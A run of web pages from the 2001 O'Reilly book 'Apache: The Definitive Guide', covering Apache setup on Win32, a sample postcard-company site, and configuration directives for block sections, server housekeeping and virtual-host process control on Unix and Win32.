There are several ways of running Apache under Win32. Under NT, you can run it as a service, operating in the background. First you have to install it as a service by running the "Install Apache as a Service" option from the Start menu. Alternatively, click on the MS-DOS prompt to get a DOS session window. Go to the /Program Files/Apache directory (or wherever else you installed Apache) with:

>cd "\Program Files\apache"

Apache can be installed as an NT service with:

>apache -i

and uninstalled with:

>apache -u

Once this is done, you can open the Services window in the Control Panel, select Apache, and click on Start. Apache then runs in the background until you click on Stop. Alternatively, you can open a console window and type:

>net start apache
>net stop apache

To run Apache from a console window, select the Apache server option from the Start menu.

Alternatively -- and under Win95, this is all you can do -- click on the MS-DOS prompt to get a DOS session window. Go to the /Program Files/Apache directory with:

>cd "\Program Files\apache"

The Apache executable, apache.exe, is sitting here, and we can start it running, to see what happens, with:

>apache -s

You might want to automate your Apache startup by putting the necessary line into a file called go.bat. You then only need to type:

go[RETURN]

Since this is the same as for the Unix version, we will simply say "type go" throughout the book when Apache is to be started, and thus save lengthy explanations.

When we ran Apache, we received the following lines:

Apache/<version number>
Syntax error on line 44 of /apache/conf/httpd.conf
ServerRoot must be a valid directory

To deal with the first complaint, we looked at the file \Program Files\apache\conf \httpd.conf. This turned out to be a formidable document that, in effect, compresses all the information we try to convey in the rest of this book into a few pages. We could edit it down to something more lucid, but a sounder and more educational approach is to start from nothing and see what Apache asks for. The trouble with simply editing the configuration files as they are distributed is that the process obscures a lot of default settings. If and when someone new has to wrestle with it he or she may make fearful blunders because it isn't clear what has been changed from the defaults. Rename this file if you want to look at it:

>ren httpd.conf *.cnk

Otherwise, delete it, and delete srm.conf and access.conf :

>del srm.conf
>del access.conf

When you run Apache now, you see:

Apache/<version number>
fopen: No such file or directory
httpd: could not open document config file apache/conf/httpd.conf

And we can hardly blame it. Open edit :[23]

[23]Paradoxically, you have to use what looks like an MS-DOS line editor, edit, which you might think limited to the old MS-DOS 8.3 filename format, to generate a file with the four-letter extension .conf. The Windows editors, such as Notepad and WordPad, insist on adding .txt at the end of the filename.

>edit httpd.conf

and insert the line:

# new config file

The "#" makes this a comment without effect, but it gives the editor something to save. Run Apache again. We now see something sensible:

...
httpd: cannot determine local host name
use ServerName to set it manually

What Apache means is that you should put a line in the httpd.conf file:

ServerName your_host_name

Now when you run Apache you see:

>apache -s

Apache/<version number>
_

The "_" here is meant to represent a blinking cursor, showing that Apache is happily running. Unlike other programs in an MS-DOS window, Apache keeps on going even after the screen saver has kicked in.

You will notice that throughout this book, the Config files always have the following lines:

...
User webuser
Group webgroup
...

These are necessary for Unix security and, happily, are ignored by the Win32 version of Apache, so we have avoided tedious explanations by leaving them in throughout. Win32 users can include them or not as they please.

You can now get out of the MS-DOS window and go back to the desktop, fire up your favorite browser, and access http://yourmachinename/. You should see a cheerful screen entitled "It Worked!," which is actually \apache\htdocs\index.html.

When you have had enough, hit CTRL-C in the Apache window.

Alternatively, under Win95 and from Apache Version 1.3.3 on, you can open another DOS session window and type:

apache -k shutdown

This does a graceful shutdown, in which Apache allows any transactions currently in process to continue to completion before it exits. In addition, using:

apache -k restart

performs a graceful restart, in which Apache rereads the configuration files while allowing transactions in progress to complete.

2.5.1. Security Under Win32

Although NT has an extensive and complex security infrastructure, it is poorly documented and understood. Consequently, there is currently little code in the Windows version of Apache to interface with it. Besides, NT seems to suffer from a variety of more mundane problems: the README file that comes with Apache v1.3.1 says, in part:

Versions of Apache on Win32 prior to version 1.3.1 are vulnerable to a number of security holes common to several Win32 servers. The problems that impact Apache include:

  • trailing "."s are ignored by the file system. This allowed certain types of access restrictions to be bypassed.

  • directory names of three or more dots (e.g. "...") are considered to be valid similar to "...". This allowed people to gain access to files outside of the configured document trees.

There have been at least four other similar instances of the same basic problem: on Win32, there is more than one name for a file. Some of these names are poorly documented or undocumented, and even Microsoft's own IIS has been vulnerable to many of these problems. This behavior of the Win32 file system and API makes it very difficult to ensure future security; problems of this type have been known about for years, however each specific instance has been discovered individually. It is unknown if there are other, yet unpublicized, filename variants. As result, we recommend that you use extreme caution when dealing with access restrictions on all Win32 servers.

In plain English, this means, once again, that Win32 is not an adequate platform for running a web server that has any need for security.

Previous | Home | Next
2.4. Setting Up a Unix Server | Book Index | 3. Toward a Real Web Site
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Toward a Real Web Site (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

Chapter 3. Toward a Real Web Site

Contents:

More and Better Web Sites: site.simple
Butterthlies, Inc., Gets Going
Block Directives
Other Directives
Two Sites and Apache
Controlling Virtual Hosts on Unix
Controlling Virtual Hosts on Win32
Virtual Hosts
Two Copies of Apache
HTTP Response Headers
Options
Restarts
.htaccess
CERN Metafiles
Expirations

3.1. More and Better Web Sites: site.simple

We are now in a position to start creating real(ish) web sites, which can be found on the accompanying CD-ROM. For the sake of a little extra realism, we will base them loosely round a simple web business, Butterthlies, Inc., that creates and sells picture postcards. We need to give it some web addresses, but since we don't yet want to venture into the outside world, they should be variants on your own network ID so that all the machines in the network realize that they don't have to go out on the Web to make contact. For instance, we edited the \windows\hosts file on the Win95 machine running the browser and the /etc/hosts file on the Unix machine running the server to read as follows:

127.0.0.1 localhost
192.168.123.2 www.butterthlies.com
192.168.123.2 sales.butterthlies.com
192.168.123.3 sales-IP.butterthlies.com
192.168.124.1 www.faraway.com

localhost is obligatory, so we left it in, but you should not make any server requests to it since the results are likely to be confusing.

You probably need to consult your network manager to make similar arrangements.

site.simple is site.toddle with a few small changes. The script go is different in that it refers to ... /site.simple/conf/httpd.conf rather than ... /site.toddle/conf/httpd.conf.

Unix:

% httpd -d /usr/www/site.simple

Win32:

>apache -d c:/usr/www/site.simple

This will be true of each site in the demonstration setup, so we will not mention it again.

From here on there will be minimal differences between the server setups necessary for Win32 and those for Unix. Unless one or the other is specifically mentioned, you should assume that the text refers to both.

It would be nice to have a log of what goes on. In the first edition of this book we found that a file access_log was created automatically in ...site.simple/logs. In a rather bizarre move since then, the Apache Group has broken backward compatibility and now requires you to mention the log file explicitly in the Config file using the TransferLog directive.

The ... /conf/httpd.conf file now contains the following:

User webuser
Group webgroup
ServerName localhost
DocumentRoot /usr/www/site.simple/htdocs
TransferLog logs/access_log

In ... /htdocs we have, as before, 1.txt :

hullo world from site.simple!

Now, type go on the server. Switch to the client machine and retrieve http://www.butterthlies.com. You should see:

Index of /
. Parent Directory
. 1.txt

Click on 1.txt for an inspirational message as before.

This all seems satisfactory, but there is a hidden mystery. We get the same result if we connect to http://sales.butterthlies.com. Why is this? Why, since we have not mentioned either of these URLs or their IP addresses in the configuration file on site.simple, do we get any response at all?

The answer is that when we configured the machine the server runs on, we told the network interface to respond to any of these IP addresses:

192.168.123.2
192.168.123.3

By default Apache listens to all IP addresses belonging to the machine and responds in the same way to all of them. If there are virtual hosts configured (which there aren't, in this case), Apache runs through them, looking for an IP name that corresponds to the incoming connection. Apache uses that configuration if it is found, or the main configuration if it is not. Later in this chapter, we look at more definite control with the directives BindAddress, Listen, and <VirtualHost>.

It has to be said that working like this (that is, switching rapidly between different configurations) seemed to get Netscape or Internet Explorer into a rare muddle. To be sure that the server was functioning properly while using Netscape as a browser, it was usually necessary to reload the file under examination by holding down the Control key while clicking on Reload. In extreme cases, it was necessary to disable caching by going to Edit [image] Preferences [image] Advanced [image] Cache. Set memory and disk cache to and set cache comparison to Every Time. In Internet Explorer, set Cache Compares to Every Time. If you don't, the browser tends to display a jumble of several different responses from the server. This occurs because we are doing what no user or administrator would normally do, namely, flipping around between different versions of the same site with different versions of the same file. Whenever we flip from a newer version to an older version, Netscape is led to believe that its cached version is up-to-date.

Back on the server, stop Apache with ^C (or whatever your kill character is) and look at the log files. In ... /logs/access_log, you should see something like this:

192.168.123.1 - - [<date-time>] "GET / HTTP/1.1" 200 177

200 is the response code (meaning "OK, cool, fine"), and 177 is the number of bytes transferred. In ... /logs/error_log, there should be nothing because nothing went wrong. However, it is a good habit to look there from time to time, though you have to make sure that the date and time logged correspond to the problem you are investigating. It is easy to fool yourself with some long-gone drama.

Life being what it is, things can go wrong, and the client can ask for something the server can't provide. It makes sense to allow for this with the ErrorDocument command.

3.1.1. ErrorDocument

ErrorDocument error-code document
Server config, virtual host, directory, .htaccess

In the event of a problem or error, Apache can be configured to do one of four things:

  1. Output a simple hardcoded error message.

  2. Output a customized message.

  3. Redirect to a local URL to handle the problem/error.

  4. Redirect to an external URL to handle the problem/error.

The first option is the default, whereas options 2 through 4 are configured using the ErrorDocument directive, which is followed by the HTTP response code and a message or URL. Messages in this context begin with a double quotation mark ("), which does not form part of the message itself. Apache will sometimes offer additional information regarding the problem or error.

URLs can be local URLs beginning with a slash ("/") or full URLs that the client can resolve. For example:

ErrorDocument 500 http://foo.example.com/cgi-bin/tester
ErrorDocument 404 /cgi-bin/bad_urls.pl
ErrorDocument 401 /subscription_info.html
ErrorDocument 403 "Sorry can't allow you access today

Note that when you specify an ErrorDocument that points to a remote URL (i.e., anything with a method such as "http" in front of it), Apache will send a redirect to the client to tell it where to find the document, even if the document ends up being on the same server. This has several implications, the most important being that if you use an ErrorDocument 401 directive, it must refer to a local document. This results from the nature of the HTTP basic authentication scheme.

Previous | Home | Next
2.5. Setting Up a Win32 Server | Book Index | 3.2. Butterthlies, Inc., Gets Going
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Butterthlies, Inc., Gets Going (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.2. Butterthlies, Inc., Gets Going

The httpd.conf file (to be found in ... /site.first) contains the following:

User webuser
Group webgroup
ServerName localhost
DocumentRoot /usr/www/site.first/htdocs
TransferLog logs/access_log

In the first edition of this book we mentioned the directives AccessConfig and ResourceConfig here. If set with /dev/null (NUL under Win32), they disable the srm.conf and access.conf files, and were formerly required if those files were absent. However, new versions of Apache ignore these files if they are not present, so the directives are no longer required.

Figure 3.2 If you are using Win32, note that the User and Group directives are not supported, so these can be removed.

Apache's role in life is delivering documents, and so far we have not done much of that. We therefore begin in a modest way with a little HTML script that lists our cards, gives their prices, and tells interested parties how to get them.

We can look at the Netscape Help item "Creating Net Sites" and download "A Beginners Guide to HTML" as well as the next web person, then rough out a little brochure in no time flat:[24]

[24]See also HTML: The Definitive Guide, by Chuck Musciano and Bill Kennedy (O'Reilly & Associates).

<html>
<h1> Welcome to Butterthlies Inc</h1>
<h2>Summer Catalog</h2>
<p> All our cards are available in packs of 20 at $2 a pack.
There is a 10% discount if you order more than 100.
</p>
<hr>
<p>
Style 2315
<p align=center>
<img src="bench.jpg" alt="Picture of a bench">
<p align=center>
Be BOLD on the bench
<hr>
<p>
Style 2316
<p align=center>
<img src="hen.jpg" ALT="Picture of a hencoop like a pagoda">
<p align=center>
Get SCRAMBLED in the henhouse
<HR>
<p>
Style 2317
<p align=center>
<img src="tree.jpg" alt="Very nice picture of tree">
<p align=center>
Get HIGH in the treehouse
<hr>
<p>
Style 2318
<p align=center>
<img src="bath.jpg" alt="Rather puzzling picture of a bathtub">
<p align=center>
Get DIRTY in the bath
<hr>
<p align=right>
Postcards designed by Harriet@alart.demon.co.uk
<hr>
<br>
Butterthlies Inc, Hopeful City, Nevada 99999
</br>
</HTML>

"Rough" is a good way to describe this document. The competent HTML person will notice that most of the </P>s are missing, there is no <HEAD> or <BODY> tag, and so on. But it works, and that is all we need for the moment.

Figure 3.2 We want this brochure to appear in ... /site.first/htdocs, but we will in fact be using it in many other sites as we progress, so let's keep it in a central location and set up links using the Unix ln command. We have a directory /usr/www/main_docs, and this document lives in it as catalog_summer.html. This file refers to some rather pretty pictures that are held in four .jpg files. They live in ... /main_docs and are linked to the working htdocs directories:

% ln /usr/www/main_docs/catalog_summer.html .
% ln /usr/www/main_docs/bench.jpg .

Figure 3.2 The remainder of the links follow the same format (assuming we are in .../site.first/htdocs).

Figure 3.2 If you type ls, you should see the files there as large as life.

Figure 3.2 Under Win32 there is unfortunately no equivalent to a link, so you will just have to have multiple copies.

3.2.1. Default Index

Type ./go and shift to the client machine. Log onto http://www.butterthlies.com /:

INDEX of /
*Parent Directory
*bath.jpg
*bench.jpg
*catalog_summer.html
*hen.jpg
*tree.jpg

3.2.2. index.html

What we see in the previous listing is the index that Apache concocts in the absence of anything better. We can do better by creating our own index page in the special file ... /htdocs/index.html :

<html>
<head>
<title>Index to Butterthlies Catalogs</title>
 </head>
<body>
<ul>
<li><A href="catalog_summer.html">Summer catalog</A>
<li><A href="catalog_autumn.html">Autumn catalog</A>
</ul>
<hr>
<br>Butterthlies Inc, Hopeful City, Nevada 99999
</br>
</body>
</html>

We needed a second file (catalog_autumn.html) to make the thing look convincing. So we did what the management of this outfit would do themselves: we copied catalog_summer.html to catalog_autum.html and edited it, simply changing the word Summer to Autumn and including the link in ... /htdocs.

Whenever a client opens a URL that points to a directory containing the index.html file, Apache automatically returns it to the client (by default; this can be configured with the DirectoryIndex directive). Now, when we log in, we see:

INDEX TO BUTTERTHLIES CATALOGS
*Summer Catalog
*Autumn Catalog
--------------------------------------------
Butterthlies Inc, Hopeful City, Nevada 99999

We won't forget to tell the web search engines about our site. Soon the clients will be logging in (we can see who they are by checking ... /logs/access_log). They will read this compelling sales material, and the phone will immediately start ringing with orders. Our fortune is in a fair way to being made.

Previous | Home | Next
3. Toward a Real Web Site | Book Index | 3.3. Block Directives
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Block Directives (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.3. Block Directives

Apache has a number of block directives that limit the application of other directives within them to operations on particular virtual hosts, directories, or files. These are extremely important to the operation of a real web site because within these blocks -- particularly <VirtualHost> -- the webmaster can, in effect, set up a large number of individual servers run by a single invocation of Apache. This will make more sense when you get to Section 3.5, "Two Sites and Apache", further on in this chapter.

The syntax of the block directives is detailed next.

3.3.1. <VirtualHost>

<VirtualHost host[:port]>
...
</VirtualHost>
Server config

The <VirtualHost> directive within a Config file acts like a tag in HTML: it introduces a block of text containing directives referring to one host; when we're finished with it, we stop with </VirtualHost>. For example:

....
<VirtualHost www.butterthlies.com>
ServerAdmin sales@butterthlies.com
DocumentRoot /usr/www/site.virtual/htdocs/customers
ServerName www.butterthlies.com
ErrorLog /usr/www/site.virtual/name-based/logs/error_log
TransferLog /usr/www/site.virtual/name-based/logs/access_log
</VirtualHost>
...

<VirtualHost> also specifies which IP address we're hosting and, optionally, the port. If port is not specified, the default port is used, which is either the standard HTTP port, 80, or the port specified in a Port directive. host can also be _default_ , in which case it matches anything no other <VirtualHost> section matches.

In a real system, this address would be the hostname of our server. The <VirtualHost> directive has three analogues that also limit the application of other directives:

  • <Directory>

  • <Files>

  • <Location>

This list shows the analogues in ascending order of authority, so that <Directory> is overruled by <Files>, and <Files> by <Location>. Files can be nested within <Directory> blocks. Execution proceeds in groups; in the following order:

  1. <Directory> (without regular expressions) and .htaccess are executed simultaneously.[25] .htaccess overrides <Directory>.

    [25]That is, they are processed together for each directory in the path.

  2. <DirectoryMatch> and <Directory> (with regular expressions).

  3. <Files> and <FilesMatch> are executed simultaneously.

  4. <Location> and <LocationMatch> are executed simultaneously.

Group 1 is processed in the order of shortest directory to longest.[26] The other groups are processed in the order in which they appear in the Config file. Sections inside <VirtualHost> blocks are applied after corresponding sections outside.

[26]Shortest meaning "with the fewest components" rather than "with the fewest characters."

3.3.2. <Directory> and <DirectoryMatch>

<Directory dir  >
...
</Directory>

The <Directory> directive allows you to apply other directives to a directory or a group of directories. It is important to understand that dir refers to absolute directories, so that <Directory /> operates on the whole filesystem, not the DocumentRoot and below. dir can include wildcards -- that is, "?" to match a single character, " * " to match a sequence, and "[ ]" to enclose a range of characters. For instance, [a-d] means "any one of a, b, c, d." If the character "~" appears in front of dir, the name can consist of complete regular expressions.[27]

[27]See Mastering Regular Expressions, by Jeffrey E.F. Friedl (O'Reilly & Associates).

<DirectoryMatch> has the same effect as <Directory ~ >. That is, it expects a regular expression. So, for instance, either:

<Directory ~ /[a-d].*>

or:

<DirectoryMatch /[a-d].*>

means "any directory name that starts with a, b, c, or d."

3.3.3. < Files> and < FilesMatch>

<Files file>
...
</Files>

The <Files> directive limits the application of the directives in the block to that file, which should be a pathname relative to the DocumentRoot. It can include wildcards or full regular expressions preceded by "~". <FilesMatch> can be followed by a regular expression without "~". So, for instance, you could match common graphics extensions with:

<FilesMatch "\.(gif|jpe?g|png)$">

Or, if you wanted our catalogs treated in some special way:

<FilesMatch catalog.*>

Unlike <Directory> and <Location>, <Files> can be used in a .htaccess file.

3.3.4. < Location> and < LocationMatch>

<Location URL>
...
</Location>

The <Location> directive limits the application of the directives within the block to those URLs specified, which can include wildcards and regular expressions preceded by "~". In line with regular expression processing in Apache v1.3, "*" and "?" no longer match to "/". <LocationMatch> is followed by a regular expression without the "~".

Most things that are allowed in a <Directory> block are allowed in <Location>, but although AllowOverride will not cause an error in a <Location> block, it makes no sense there.

3.3.5. < IfDefine>

<IfDefine name>
...
</IfDefine>

The <IfDefine> directive enables a block, provided the flag -D name is used when Apache starts up. This makes it possible to have multiple configurations within a single Config file. This is mostly useful for testing and distribution purposes rather than for dedicated sites.

3.3.6. < IfModule>

<IfModule [!]module-name>
...
</IfModule>

The <IfModule> directive enables a block, provided the named module was compiled or dynamically loaded into Apache. If the "!" prefix is used, the block is enabled if the named module was not compiled or loaded. <IfModule> blocks can be nested. The module-name should be the name of the module's source file, e.g. mod_log_config.c.

Previous | Home | Next
3.2. Butterthlies, Inc., Gets Going | Book Index | 3.4. Other Directives
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Other Directives (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.4. Other Directives

Other housekeeping directives are listed here.

3.4.1. ServerName

ServerName hostname
Server config, virtual host

ServerName gives the hostname of the server to use when creating redirection URLs, that is, if you use a <Location> directive or access a directory without a trailing "/".

3.4.2. UseCanonicalName

UseCanonicalName on|off
Default: on
Server config, virtual host, directory, .htaccess

This directive controls how Apache forms URLs that refer to itself, for example, when redirecting a request for http://www.domain.com/some/directory to the correct http://www.domain.com/some/directory/ (note the trailing "/" ). If UseCanonical-Name is on (the default), then the hostname and port used in the redirect will be those set by ServerName and Port. If it is off, then the name and port used will be the ones in the original request.

One instance where this directive may be useful is when users are in the same domain as the web server (for example, on an intranet). In this case, they may use the "short" name for the server (www, for example), instead of the fully qualified domain name (www.domain.com, say). If a user types a URL such as http://www/somedir (without the trailing slash), then, with UseCanonicalName switched on, the user will be directed to http://www.domain.com/somedir/, whereas with UseCanonicalName switched off, he or she will be redirected to http://www/somedir/. An obvious case in which this is useful is when user authentication is switched on: reusing the server name that the user typed means they won't be asked to reauthenticate when the server name appears to the browser to have changed. More obscure cases relate to name/address translation caused by some firewalling techniques.

3.4.3. ServerAdmin

ServerAdmin email_address
Server config, virtual host

ServerAdmin gives Apache an email_address for automatic pages generated when some errors occur. It might be sensible to make this a special address such as server_probs@butterthlies.com.

3.4.4. ServerSignature

ServerSignature [off|on|email]
Default: off
Directory, .htaccess

This directive allows you to let the client know which server in a chain of proxies actually did the business. ServerSignature on generates a footer to server-generated documents that includes the server version number and the ServerName of the virtual host. ServerSignature email additionally creates a mailto: reference to the relevant ServerAdmin address.

3.4.5. ServerTokens

ServerTokens [min(imal)|OS|full]
Default: full
Server config

This directive controls the information about itself that the server returns:

min(imal)

Server returns name and version number, for example, Apache v1.3

OS

Server sends operating system as well, for example, Apache v1.3 (Unix)

full

Server sends the previously listed information plus information about compiled modules, for example, Apache v1.3 (Unix) PHP/3.0 MyMod/1.2

3.4.6. ServerAlias

ServerAlias name1 name2 name3 ...
Virtual host

ServerAlias gives a list of alternate names matching the current virtual host. If a request uses HTTP 1.1, it arrives with Host: server in the header and can match ServerName, ServerAlias, or the VirtualHost name.

3.4.7. ServerPath

ServerPath path
Virtual host

In HTTP/1.1 you can map several hostnames to the same IP address, and the browser distinguishes between them by sending the Host header. But it was thought there would be a transition period during which some browsers still used HTTP/1.0 and didn't send the Host header.[28] So ServerPath lets the same site be accessed through a path instead.

[28]Note that this transition period was almost over before it started because many browsers sent the Host header even in HTTP/1.0 requests. However, in some rare cases, this directive may be useful.

It has to be said that this directive often doesn't work very well because it requires a great deal of discipline in writing consistent internal HTML links, which must all be written as relative links to make them work with two different URLs. However, if you have to cope with HTTP/1.0 browsers that don't send Host headers accessing virtual sites, you don't have much choice.

For instance, suppose you have site1.somewhere.com and site2.somewhere.com mapped to the same IP address (let's say 192.168.123.2), and you set up the httpd.conf file like this:

<VirtualHost 192.168.123.2>
ServerName site1.somewhere.com
DocumentRoot /usr/www/site1
ServerPath /site1
</VirtualHost>

<VirtualHost 192.168.123.2>
ServerName site2.somewhere.com
DocumentRoot /usr/www/site2
ServerPath /site2
</VirtualHost>

Then an HTTP/1.1 browser can access the two sites with URLs http://site1. somewhere.com / and http://site2.somewhere.com /. Recall that HTTP/1.0 can only distinguish between sites with different IP addresses, so both of those URLs look the same to an HTTP/1.0 browser. However, with the above setup, such browsers can access http://site1.somewhere.com/site1 and http://site1.somewhere.com/site2 to see the two different sites (yes, we did mean site1.somewhere.com in the latter; it could have been site2.somewhere.com in either, because they are the same as far as an HTTP/1.0 browser is concerned).

3.4.8. ServerRoot

ServerRoot directory
Default directory: /usr/local/etc/httpd
Server config

ServerRoot specifies where the subdirectories conf and logs can be found. If you start Apache with the -f (file) option, you need to include the ServerRoot directive. On the other hand, if you use the -d (directory) option, as we do, this directive is not needed.

3.4.9. PidFile

PidFile file
Default file: logs/httpd.pid
Server config

A useful piece of information about an executing process is its PID number. This is available under both Unix and Win32 in the PidFile, and this directive allows you to change its location. By default, it is in ... /logs/httpd.pid. However, only Unix allows you to do anything easily with it; namely, to kill the process.

3.4.10. ScoreBoardFile

ScoreBoardFile filename
Default: ScoreBoardFile logs/apache_status
Server config

The ScoreBoardFile directive is required on some architectures in order to place a file that the server will use to communicate between its children and the parent. The easiest way to find out if your architecture requires a scoreboard file is to run Apache and see if it creates the file named by the directive. If your architecture requires it, then you must ensure that this file is not used at the same time by more than one invocation of Apache.

If you have to use a ScoreBoardFile, then you may see improved speed by placing it on a RAM disk. But be aware that placing important files on a RAM disk involves a certain amount of risk.

Figure 3.4.10 Apache 1.2 and above: Linux 1.x and SVR4 users might be able to add -DHAVE_SHMGET -DUSE_SHMGET_SCOREBOARD to the EXTRA_CFLAGS in your Config file. This might work with some 1.x installations, but not with all of them. (Prior to 1.3b4, HAVE_SHMGET would have sufficed.)

3.4.11. CoreDumpDirectory

CoreDumpDirectory directory
Default: <serverroot>
Server config

Figure 3.4.11 Specifies a directory where Apache tries to dump core. The default is the ServerRoot directory, but this is normally not writable by Apache's user. This directive is useful only in Unix, since Win32 does not dump a core after a crash.

3.4.12. SendBufferSize

SendBufferSize <number>
Default: set by OS
Server config

Increases the send buffer in TCP beyond the default set by the operating system. This directive improves performance under certain circumstances, but we suggest you don't use it unless you thoroughly understand network technicalities.

3.4.13. LockFile

LockFile <path>directory
Default: logs/accept.lock
Server config

Figure 3.4.13 When Apache is compiled with USE_FCNTL_SERIALIZED_ACCEPT or USE_FLOCK_SERIALIZED_ACCEPT, it will not start until it writes a lock file to the local disk. If the logs directory is NFS mounted, this will not be possible. It is not a good idea to put this file in a directory that is writable by everyone, since a false file will prevent Apache from starting. This mechanism is necessary because some operating systems don't like multiple processes sitting in accept() on a single socket (which is where Apache sits while waiting). Therefore, these calls need to be serialized. One way is to use a lock file, but you can't use one on an NFS-mounted directory.

3.4.14. KeepAlive

KeepAlive number
Default number: 5
Server config

The chances are that if a user logs on to your site, he or she will reaccess it fairly soon. To avoid unnecessary delay, this command keeps the connection open, but only for number requests, so that one user does not hog the server. You might want to increase this from 5 if you have a deep directory structure. Netscape Navigator 2 has a bug that fouls up keepalives. Apache from v1.2 on can detect the use of this browser by looking for Mozilla/2 in the headers returned by Netscape. If the BrowserMatch directive is set (see Chapter 4, "Common Gateway Interface (CGI) "), the problem disappears.

3.4.15. KeepAliveTimeout

KeepAliveTimeout seconds
Default seconds: 15
Server config

Similarly, to avoid waiting too long for the next request, this directive sets the number of seconds to wait for the next request. Once the request has been received, the TimeOut directive applies.

3.4.16. TimeOut

TimeOut seconds
Default seconds: 1200
Server config

Sets the maximum time that the server will wait for the receipt of a request and then its completion block by block. This directive used to have an unfortunate effect: downloads of large files over slow connections used to time out. The directive has, therefore, been modified to apply to blocks of data sent rather than to the whole transfer.

3.4.17. HostNameLookups

HostNameLookups [on|off|double]
Default: off[29]
Server config, virtual host

If this directive is on, then every incoming connection is reverse DNS resolved, which means that, starting with the IP number, Apache finds the hostname of the client by consulting the DNS system on the Internet. The hostname is then used in the logs. If switched off, the IP address is used instead. It can take a significant amount of time to reverse resolve an IP address, so for performance reasons it is often best to leave this off, particularly on busy servers. Note that the support program logresolve is supplied with Apache to reverse resolve the logs at a later date.[30]

[30]Dynamically allocated IP addresses may not resolve correctly at any time other than when they are in use. If it is really important to know the exact name of the client, HostNameLookups will have to be set to on.

The new double keyword supports the double-reverse DNS test. An IP address passes this test if the forward map of the reverse map includes the original IP. Regardless of the setting here, mod_access access lists using DNS names require all the names to pass the double-reverse test.

3.4.18. Include

Include filename
Server config

filename points to a file that will be included in the Config file in place of this directive.

Previous | Home | Next
3.3. Block Directives | Book Index | 3.5. Two Sites and Apache
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Two Sites and Apache (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.5. Two Sites and Apache

Our business has now expanded, and we have a team of salespeople. They need their own web site with different prices, gossip about competitors, conspiracies, plots, plans, and so on, that is separate from the customers' web site we have been talking about. There are essentially two ways of doing this:

  1. Run a single copy of Apache that maintains two or more web sites as virtual sites. This is the most usual method.

  2. Run two (or more) copies of Apache, each maintaining a single site. This is seldom done, but we include it for the sake of completeness.

Previous | Home | Next
3.4. Other Directives | Book Index | 3.6. Controlling Virtual Hosts on Unix
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Controlling Virtual Hosts on Unix (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.6. Controlling Virtual Hosts on Unix

When started without the -X flag, which is what you would do in real operation, Apache launches a number of child versions of itself so that any incoming request can be instantly dealt with. This is an excellent scheme, but we need some way of controlling this sprawl of software. The necessary directives are there to do it.

3.6.1. MaxClients

MaxClients number
Default number: 150
Server config

This directive limits the number of requests that will be dealt with simultaneously. In the current version of Apache, this effectively limits the number of servers that can run at one time.

3.6.2. MaxRequestsPerChild

MaxRequestsPerChild number
Default number: 30
Server config

Each child version of Apache handles this number of requests and dies (unless the value is 0, in which case it will last forever or until the machine is rebooted). It is a good idea to set a number here so that any accidental memory leaks in Apache are tidied up. Although there are no known leaks in Apache, it is not impossible for them to occur in the system libraries, so it is probably wise not to disable this unless you are absolutely sure the code is byte-tight.

3.6.3. MaxSpareServers

MaxSpareServers number
Default number: 10
Server config

No more than this number of child servers will be left running and unused. Setting this to an unnecessarily large number is a bad idea, since it depletes resources needlessly. How many is too many depends on which modules you have used and your detailed configuration. You can get some clues by studying memory consumption with ps, top, and the like.

3.6.4. MinSpareServers

MinSpareServers number
Default number: 5
Server config

Apache attempts to keep at least this number of spare servers running. If fewer than this number exist, new ones will be started at an increasing rate each second until MAX_SPAWN_RATE is reached. MAX_SPAWN_RATE is defined to be 32 by default, but can be overridden at compile time. If no new servers are needed, the number to be added is reset to 1. Setting number unnecessarily high is a bad idea because it uses up resources needlessly.

3.6.5. StartServers

StartServers number
Default number: 5
Server config

Although the number of servers is controlled dynamically (see MaxSpare-Servers), you may have a heavily used site and want to make sure that it starts up with lots of servers, rather than waiting for demand to set them going.

In older versions of Apache, new servers were only started at the rate of one per second, so careful consideration had to be given to these numbers on heavily loaded systems. However, in Apache 1.3 new servers are started more aggressively, so fine tuning of StartServers, MinSpareServers, and MaxSpare-Servers should be considerably less important. To cope with sudden bursts of traffic on heavily loaded systems, it is worth having a few spare servers available. Experience has shown that servers handling one million hits per day work well with MaxSpareServers set to 64 and MinSpareServers set to 32. Startup performance can be optimized by setting StartServers somewhere in the range of MinSpareServers to MaxSpareServers. It may also be worth increasing MaxRequestsPerChild in order to avoid unnecessary overhead from process restarts, but note that you increase the risk of damage by memory leaks if you do this. Do make sure you have enough memory available to actually run this many copies of Apache!

3.6.6. Unix File Limits

If you were doing this for real, you would expect the number of virtual httpds running to increase to cope with our various spin-off businesses. This may cause trouble. Some Unix systems will allow child processes to open no more than 64 file descriptors at once. Each virtual host consumes two file descriptors in opening its transfer and error log files, so 32 virtual hosts use up the limit. The problem shows up in "unable to fork" messages in the error logs, though this is not actually because Unix is unable to fork but because it can't create the pipes.[31] The solution is to use a single log and separate it out later.

[31]This particular error can be caused by various resource shortages, particularly open file limits and process limits; unfortunately, Apache doesn't generally tell you what caused the problem, which can be very frustrating. A particularly irritating pitfall is caused by restarting the server from a shell that sets the limits to different values from those used when the server started automatically at system boot. tcsh, for example, tends to do this.

Previous | Home | Next
3.5. Two Sites and Apache | Book Index | 3.7. Controlling Virtual Hosts on Win32
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Controlling Virtual Hosts on Win32 (Apache: The Definitive Guide)

 Apache: The Definitive GuideSearch this book

3.7. Controlling Virtual Hosts on Win32

The Win32 version of Apache runs a parent version of the code and a single multi-threaded child that handles all requests.

3.7.1. ThreadsPerChild

ThreadsPerChild number
Default number: 50
Server config

Currently this directive is only relevant to Win32. You may need to increase this number from 50, the default, if your site gets a lot of simultaneous hits. The name ThreadsPerChild may suggest that there can be more than one child process in a Win32 installation, but this is not currently the case.[32]

[32]If you really want to know: Win32 will not distribute requests among multiple children like Unix does. The first process to open a port gets all the connections, whether it is ready for them or not. Microsoft claims this is a Good Thing. We're not so sure.

